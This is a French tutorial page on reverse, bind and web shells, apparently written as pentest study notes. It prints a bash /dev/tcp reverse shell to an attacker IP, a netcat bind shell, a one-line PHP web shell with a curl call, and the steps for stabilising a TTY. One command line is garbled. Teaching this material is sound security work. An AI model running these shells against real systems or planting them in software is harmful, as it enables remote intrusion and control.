Types of Shells

Lorsqu'on exploite une vulnérabilité offrant l'exécution de commandes à distance, il est souvent nécessaire d'établir une communication stable avec la machine cible. Pour cela, nous utilisons différents types de shells afin de prendre le contrôle du système compromis.

Il existe principalement trois types de shells :

  • Reverse Shell

  • Bind Shell

  • Web Shell


🔁 Reverse Shell

Un Reverse Shell initie une connexion depuis la machine cible vers l’attaquant.

📌 Principe

  • L’attaquant démarre un listener sur son poste (ex: Netcat).

  • La cible, via une commande malveillante, se connecte à ce listener.

  • Une fois la connexion établie, l’attaquant peut exécuter des commandes à distance.

🧪 Exemple :

$ nc -lvnp 1234  # Lancer le listener côté attaquant
$ bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'  # Sur la cible

✅ Avantages :

  • Très utile dans les environnements où la machine cible ne permet pas de connexions entrantes.

  • Facile à mettre en place.

❌ Inconvénients :

  • Fragile (connexion perdue si crash réseau).

  • Peut être bloqué par un pare-feu sortant restrictif.


📞 Bind Shell

Un Bind Shell fonctionne à l’inverse : la machine cible ouvre un port et attend une connexion de l’attaquant.

📌 Principe

  • La cible exécute un script qui écoute sur un port.

  • L’attaquant se connecte à ce port pour accéder au shell.

🧪 Exemple :

# Sur la cible
$ nc -lvp 1234 -e /bin/bash
# Côté attaquant
$ nc 10.10.10.1 1234

✅ Avantages :

  • Permet de se reconnecter facilement si la connexion est coupée (tant que le processus est actif).

❌ Inconvénients :

  • Nécessite que la cible accepte des connexions entrantes (souvent bloqué par des pare-feux).

  • Plus visible sur le réseau.


🌐 Web Shell

Un Web Shell est un script (PHP, ASPX, etc.) placé dans le répertoire web de la cible, accessible via HTTP.

📌 Principe

  • L’attaquant envoie des commandes via l’URL ou une requête POST.

  • Le script exécute les commandes sur la machine cible et affiche les résultats dans la page.

🧪 Exemple de Web Shell en PHP :

<?php system($_REQUEST["cmd"]); ?>

📥 Exemple d’appel :

$ curl http://IP/shell.php?cmd=id

✅ Avantages :

  • Discret : utilise les ports HTTP (80, 443).

  • Persistant (reste après redémarrage si non supprimé).

  • Utile quand seul l’accès web est disponible.

❌ Inconvénients :

  • Moins interactif (pas de shell "en direct").

  • Commandes exécutées une par une (sauf automatisation avec un script Python).


🧰 Bonus : Amélioration de l’interactivité

Une fois un shell Netcat obtenu, on peut le rendre plus interactif (avec historique, curseur, etc.) :

pyth>'import pty; pty.spawn("/bin/bash")'
^Z  # Suspendre avec Ctrl+Z
stty raw -echo
fg
export TERM=xterm-256color
stty rows 50 columns 120

🎯 Résumé Comparatif

Type de Shell
Connexion initiée par
Port ouvert sur
Interactif
Persistant

Reverse Shell

Cible

Attaquant

Oui

Non

Bind Shell

Attaquant

Cible

Oui

Non

Web Shell

Navigateur ou script

Cible (web)

Non

Oui


Mis à jour